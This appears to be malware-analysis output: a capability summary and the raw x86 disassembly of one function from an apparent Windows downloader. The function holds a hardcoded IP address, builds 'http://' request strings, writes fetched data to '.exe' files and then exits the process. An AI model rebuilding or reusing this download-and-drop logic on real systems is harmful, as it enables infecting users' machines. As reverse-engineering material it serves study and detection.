Function at 0x4047b0
Capabilities:
Contain obfuscated stackstrings
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423e86
mov eax, dword fs:[0]
push eax
sub esp, 0x628
push esi
push edi
mov eax, dword [0x431008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
mov dword [ebp - 0x14], 0
mov ecx, 0x431e70
call fcn.00417d50
test eax, eax
jne 0x404803
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x148]
call fcn.004029d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x380]
call fcn.004029d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x354]
call fcn.004029d0
mov byte [ebp - 4], 2
mov dword [ebp - 0xc4], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0xc4], vtable.CVolObject.0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov byte [ebp - 4], 3
mov dword [ebp - 0xc4], vtable.rg_QWE_FASD::rg_faasdsad.0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x348], 0
test eax, eax
je 0x404891
push eax
mov eax, dword [ebp - 0x344]
lea ecx, [ebp - 0x344]
call dword [eax + 0xc]
push str.dl33
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x334], 0
call fcn.00419ee0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x374], 0
test eax, eax
je 0x4048e3
push eax
mov eax, dword [ebp - 0x370]
lea ecx, [ebp - 0x370]
call dword [eax + 0xc]
push str.69.176.85.86
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x360], 0
call fcn.00419ee0
push ecx
lea ecx, [ebp - 0x11c]
call fcn.0040d2b0
mov esi, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x148]
mov edx, dword [ebp - 0x148]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x144], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x140], ecx
lea ecx, [ebp - 0x138]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x138]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x138]
call fcn.004032c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xf0]
call fcn.004029d0
lea edx, [ebp - 0xf0]
mov dword [ebp - 0x14], 8
xor ecx, ecx
call fcn.004189a0
mov esi, dword [ebp - 0xe4]
test esi, esi
je 0x4049c1
lea ecx, [esi + 2]
nop word [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4049b0
sub esi, ecx
sar esi, 1
jmp 0x4049ce
mov esi, dword [ebp - 0xcc]
test esi, esi
je 0x4049ce
shr esi, 1
dec esi
mov edi, 8
mov dword [ebp - 0x14], edi
and edi, 0xfffffff7
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf0]
call fcn.00402c70
cmp esi, 5
jle 0x404e38
lea ecx, [ebp - 0xf0]
call fcn.004029d0
mov byte [ebp - 4], 7
mov dword [ebp - 0xf0], vtable.CWConstString.0
mov dword [ebp - 0xe4], 0x428950
mov byte [ebp - 4], 8
lea eax, [ebp - 0x148]
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x3bc]
call fcn.0041bb70
mov byte [ebp - 4], 9
mov edx, eax
push str..exe
lea ecx, [ebp - 0x3e8]
call fcn.0041bd20
add esp, 8
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1a0]
call fcn.0040b1c0
mov esi, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x11c]
call fcn.004029d0
or edi, 0x10
lea edx, [ebp - 0x11c]
xor ecx, ecx
mov dword [ebp - 0x14], edi
call fcn.004189a0
push esi
lea edx, [ebp - 0x11c]
lea ecx, [ebp - 0x1cc]
call fcn.0041bb70
mov byte [ebp - 4], 0xd
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.0040b2e0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [edx + 0xc]
test ecx, ecx
jne 0x404acc
cmp dword [edx + 0x24], ecx
jne 0x404ac5
mov ecx, 0x428a5c
jmp 0x404acc
mov ecx, dword [edx + 0x1c]
test ecx, ecx
je 0x404b14
cmp word [ecx], 0
je 0x404b14
test esi, esi
js 0x404b14
push 0x429be8
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0x18], eax
test eax, eax
je 0x404b14
push eax
push esi
push 1
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [ebp - 0x18]
xor ecx, ecx
cmp eax, esi
sete cl
mov dword [ebp - 0x10], ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [ebp - 0x10]
add esp, 0x14
jmp 0x404b16
xor esi, esi
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x34]
call fcn.00403730
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1cc]
call fcn.00402c70
and edi, 0xffffffef
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1a0]
call fcn.00402c70
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3e8]
call fcn.00402c70
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x3bc]
call fcn.00402c70
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf0]
call fcn.00402c70
cmp esi, 1
jne 0x404c16
push 0x428950
lea ecx, [ebp - 0x1a0]
call fcn.00407680
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0041bb70
mov byte [ebp - 4], 0x11
mov edx, eax
push str..exe
lea ecx, [ebp - 0x11c]
call fcn.0041bd20
mov byte [ebp - 4], 0x12
add esp, 4
mov ecx, eax
call fcn.0040b3a0
mov ecx, eax
call fcn.00418db0
add esp, 4
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1cc]
call fcn.00402c70
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a0]
call fcn.00407380
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0xf0]
call fcn.004029d0
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xf0], vtable.CWConstString.0
mov dword [ebp - 0xe4], 0x428958
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x148]
push eax
lea edx, [ebp - 0xf0]
lea ecx, [ebp - 0x3bc]
call fcn.0041bb70
mov byte [ebp - 4], 0x15
mov edx, eax
push str..exe
lea ecx, [ebp - 0x3e8]
call fcn.0041bd20
add esp, 8
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1a0]
call fcn.0040b1c0
mov esi, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x11c]
call fcn.004029d0
or edi, 0x20
lea edx, [ebp - 0x11c]
xor ecx, ecx
mov dword [ebp - 0x14], edi
call fcn.004189a0
push esi
lea edx, [ebp - 0x11c]
lea ecx, [ebp - 0x1cc]
call fcn.0041bb70
mov byte [ebp - 4], 0x19
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.0040b2e0
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x18]
mov esi, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
mov ecx, dword [edx + 0xc]
test ecx, ecx
jne 0x404cee
cmp dword [edx + 0x24], ecx
jne 0x404ce7
mov ecx, 0x428a5c
jmp 0x404cee
mov ecx, dword [edx + 0x1c]
test ecx, ecx
je 0x404d36
cmp word [ecx], 0
je 0x404d36
test esi, esi
js 0x404d36
push 0x429be8
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 0x18], eax
test eax, eax
je 0x404d36
push eax
push esi
push 1
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [ebp - 0x18]
xor ecx, ecx
cmp eax, esi
sete cl
mov dword [ebp - 0x10], ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [ebp - 0x10]
add esp, 0x14
jmp 0x404d38
xor esi, esi
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x34]
call fcn.00403730
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1cc]
call fcn.00402c70
and edi, 0xffffffdf
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1a0]
call fcn.00402c70
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3e8]
call fcn.00402c70
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x3bc]
call fcn.00402c70
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf0]
call fcn.00402c70
cmp esi, 1
jne 0x404e38
push 0x428958
lea ecx, [ebp - 0x1a0]
call fcn.00407680
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x148]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc]
call fcn.0041bb70
mov byte [ebp - 4], 0x1d
mov edx, eax
push str..exe
lea ecx, [ebp - 0x11c]
call fcn.0041bd20
mov byte [ebp - 4], 0x1e
add esp, 4
mov ecx, eax
call fcn.0040b3a0
mov ecx, eax
call fcn.00418db0
add esp, 4
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x11c]
call fcn.00402c70
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1cc]
call fcn.00402c70
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1a0]
call fcn.00407380
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x431fd8]
test eax, eax
je 0x404e4f
push eax
mov eax, dword [0x431fcc]
mov ecx, 0x431fcc
call dword [eax + 0xc]
mov ecx, 0x431f6c
mov dword [0x431fd8], 0
mov dword [0x431fe0], 0
mov dword [0x431fdc], 0
call fcn.00413f40
mov ecx, 0x431f9c
call fcn.00413f40
push 0
push 0x406630
call dword [0x431080]
lea ecx, [ebp - 0x8c]
call fcn.004029d0
mov byte [ebp - 4], 0x1f
mov ecx, dword [0x431fe0]
test ecx, 0xfffffffc
jbe 0x404fcd
xor edi, edi
mov edx, dword [0x431fd8]
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0xb8]
cmove edx, eax
mov edx, dword [edx + edi*4]
call fcn.00405cc0
mov esi, eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x8c]
mov edx, dword [ebp - 0x8c]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x88], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x84], ecx
lea ecx, [ebp - 0x7c]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x7c]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x7c]
call fcn.004032c0
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xa8], vtable.CVolMem.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x9c]
test ecx, ecx
je 0x404f58
mov eax, dword [ebp - 0xa8]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x404f50
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x404f58
lea ecx, [ebp - 0xa8]
call eax
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0x21
mov dword [ebp - 0xa8], vtable.CVolObject.0
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xb8], vtable.CVolObject.0
test eax, eax
jne 0x404fa6
cmp dword [ebp - 0x68], 0
mov eax, 0x428a5c
cmovne eax, dword [ebp - 0x70]
push eax
push 1
push 0x431f9c
call fcn.00407040
mov ecx, dword [0x431fe0]
inc edi
mov eax, ecx
add esp, 0xc
shr eax, 2
cmp edi, eax
jl 0x404eb1
mov edi, dword [ebp - 0x14]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x8c]
call fcn.00402c70
test dword [0x431f84], 0xfffffffc
mov dword [ebp - 0x10], 0
jbe 0x405c5d
mov dword [ebp - 0x18], 0
nop word [eax + eax]
lea ecx, [ebp - 0x634]
call fcn.0040eb90
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x578]
call fcn.004124a0
mov esi, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x11c]
call fcn.004029d0
mov byte [ebp - 4], 0x26
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x110], 0x428a5c
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1cc]
call fcn.004029d0
mov byte [ebp - 4], 0x28
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x1c0], 0x428a5c
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1a0]
call fcn.004029d0
mov byte [ebp - 4], 0x2a
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x194], 0x428a5c
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x3e8]
call fcn.004029d0
mov byte [ebp - 4], 0x2c
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x3dc], 0x428a5c
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x3bc]
call fcn.004029d0
mov byte [ebp - 4], 0x2e
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x3b0], 0x428a5c
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x440]
call fcn.004029d0
mov byte [ebp - 4], 0x30
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x434], 0x428a5c
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x414]
call fcn.004029d0
mov byte [ebp - 4], 0x32
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x408], 0x428a5c
mov byte [ebp - 4], 0x33
mov dword [ebp - 0x60], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0x60], vtable.CVolObject.0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0x60], vtable.CWString.0
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x50], vtable.CVolObject.0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov byte [ebp - 4], 0x35
mov dword [ebp - 0x50], vtable.CVolMem.0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0x40
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x38], 0xfe
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x34], vtable.CVolCommonBaseWithMemManager.0
mov dword [ebp - 0x34], vtable.CVolObject.0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x34], vtable.CVolMem.0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0x40
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x498]
call fcn.004029d0
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x48c], 0x428a5c
mov byte [ebp - 4], 0x3b
xor ecx, ecx
cmp dword [0x431fb4], ecx
mov eax, dword [0x431fac]
mov edx, dword [ebp - 0x10]
cmove eax, ecx
lea ecx, [ebp - 0x8c]
mov edx, dword [eax + edx*4]
call fcn.004029d0
mov byte [ebp - 4], 0x3c
test edx, edx
mov eax, 0x428a5c
mov dword [ebp - 0x8c], vtable.CWString.0
cmovne eax, edx
lea ecx, [ebp - 0x8c]
push eax
call fcn.0041b420
mov byte [ebp - 4], 0x3d
xor ecx, ecx
cmp dword [0x431f84], ecx
mov edx, 0x428a5c
mov eax, dword [0x431f7c]
cmove eax, ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + ecx*4]
test eax, eax
lea ecx, [ebp - 0x174]
cmovne edx, eax
call fcn.004029d0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x174]
push edx
mov dword [ebp - method.CWString.virtual_0], vtable.CWString.0
call fcn.0041b420
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x46c]
call fcn.004029d0
mov byte [ebp - 4], 0x40
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x460], str.http:__
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x380]
push eax
lea edx, [ebp - 0x46c]
lea ecx, [ebp - 0x328]
call fcn.0041bb70
mov byte [ebp - 4], 0x42
mov edx, eax
push str.__u
lea ecx, [ebp - 0x2fc]
call fcn.0041bd20
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x174]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2d0]
call fcn.0041bb70
mov byte [ebp - 4], 0x44
mov edx, eax
push 0x42896c
lea ecx, [ebp - 0x2a4]
call fcn.0041bd20
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x8c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x278]
call fcn.0041bb70
mov byte [ebp - 4], 0x46
mov edx, eax
push str.bh
lea ecx, [ebp - 0x24c]
call fcn.0041bd20
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x354]
push ecx
mov edx, eax
lea ecx, [ebp - 0x220]
call fcn.0041bb70
add esp, 0x1c
mov edx, eax
mov byte [ebp - 4], 0x48
or dword [esi + 4], 1
or dword [ebp - 0x5c], 1
or dword [ebp - 0x30], 1
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0xb8]
call fcn.004029d0
push esi
lea eax, [ebp - 0x11c]
or edi, 1
push eax
push 1
push 0x3a98
lea eax, [ebp - 0x1cc]
mov dword [ebp - 0x14], edi
push eax
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x3e8]
push eax
lea eax, [ebp - 0x3bc]
push eax
lea eax, [ebp - 0x440]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x498]
push eax
push 0
push edx
lea eax, [ebp - 0x594]
push eax
mov eax, dword [ebp - 0x634]
lea ecx, [ebp - 0x634]
mov eax, dword [eax + 0x48]
call eax
mov esi, eax
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xf0]
call fcn.004029d0
lea eax, [ebp - 0x18]
or edi, 2
push eax
lea edx, [ebp - 0xf0]
mov dword [ebp - 0x14], edi
mov ecx, esi
call fcn.004138c0
mov eax, dword [ebp - 0xe4]
add esp, 4
test eax, eax
jne 0x40545a
cmp dword [ebp - 0xcc], 0
mov eax, 0x428a5c
cmovne eax, dword [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xb8]
call fcn.0041b420
and edi, 0xfffffffd
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0xf0]
call fcn.00402c70
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x594]
call fcn.00403730
and edi, 0xfffffffe
mov dword [ebp - 0x14], edi
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0xa8], vtable.CVolMem.0
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x9c]
test ecx, ecx
je 0x4054dd
mov eax, dword [ebp - 0xa8]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x4054d5
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x4054dd
lea ecx, [ebp - 0xa8]
call eax
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov byte [ebp - 4], 0x53
mov dword [ebp - 0xa8], vtable.CVolObject.0
mov byte [ebp - 4], 0x48
mov dword [ebp - 0xb8], vtable.CVolObject.0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x210]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x58
mov ecx, dword [ebp - 0x204]
test ecx, ecx
je 0x405564
mov eax, dword [ebp - 0x210]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x40555c
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405564
lea ecx, [ebp - 0x210]
call eax
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x200], 0
mov byte [ebp - 4], 0x56
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x47
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x38c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x230]
test ecx, ecx
je 0x4055eb
mov eax, dword [ebp - 0x23c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x4055e3
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x4055eb
lea ecx, [ebp - 0x23c]
call eax
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x22c], 0
mov byte [ebp - 4], 0x59
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x46
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0x268]
mov dword [ebp - 0x390], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x5e
mov ecx, dword [ebp - 0x25c]
test ecx, ecx
je 0x405672
mov eax, dword [ebp - 0x268]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x40566a
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405672
lea ecx, [ebp - 0x268]
call eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov byte [ebp - 4], 0x5c
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x45
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x5f
lea eax, [ebp - 0x294]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x61
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x4056f9
mov eax, dword [ebp - 0x294]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x4056f1
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x4056f9
lea ecx, [ebp - 0x294]
call eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x284], 0
mov byte [ebp - 4], 0x5f
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x44
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x1d4], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x2b4]
test ecx, ecx
je 0x405780
mov eax, dword [ebp - 0x2c0]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405778
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405780
lea ecx, [ebp - 0x2c0]
call eax
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b0], 0
mov byte [ebp - 4], 0x62
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x43
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x65
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x67
mov ecx, dword [ebp - 0x2e0]
test ecx, ecx
je 0x405807
mov eax, dword [ebp - 0x2ec]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x4057ff
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405807
lea ecx, [ebp - 0x2ec]
call eax
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
mov byte [ebp - 4], 0x65
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x42
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x318]
mov dword [ebp - 0x1dc], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x6a
mov ecx, dword [ebp - 0x30c]
test ecx, ecx
je 0x40588e
mov eax, dword [ebp - 0x318]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405886
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x40588e
lea ecx, [ebp - 0x318]
call eax
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x308], 0
mov byte [ebp - 4], 0x68
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x41
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x46c]
call fcn.00402c70
mov byte [ebp - 4], 0x6c
lea eax, [ebp - 0x164]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x6e
mov ecx, dword [ebp - 0x158]
test ecx, ecx
je 0x405924
mov eax, dword [ebp - 0x164]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x40591c
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405924
lea ecx, [ebp - 0x164]
call eax
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x154], 0
mov byte [ebp - 4], 0x6c
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x3d
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x7c], vtable.CVolMem.0
mov byte [ebp - 4], 0x71
mov ecx, dword [ebp - 0x70]
test ecx, ecx
je 0x40599c
mov eax, dword [ebp - 0x7c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405997
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x40599c
lea ecx, [ebp - 0x7c]
call eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov byte [ebp - 4], 0x6f
mov dword [ebp - 0x7c], vtable.CVolObject.0
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0x8c], vtable.CVolObject.0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x498]
call fcn.00402c70
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x34], vtable.CVolMem.0
mov byte [ebp - 4], 0x73
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x405a0e
mov eax, dword [ebp - 0x34]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CWString.virtual_12
jne 0x405a09
mov ecx, 0x431e58
call fcn.0041ab40
jmp 0x405a0e
lea ecx, [ebp - 0x34]
call eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x34], vtable.CVolObject.0
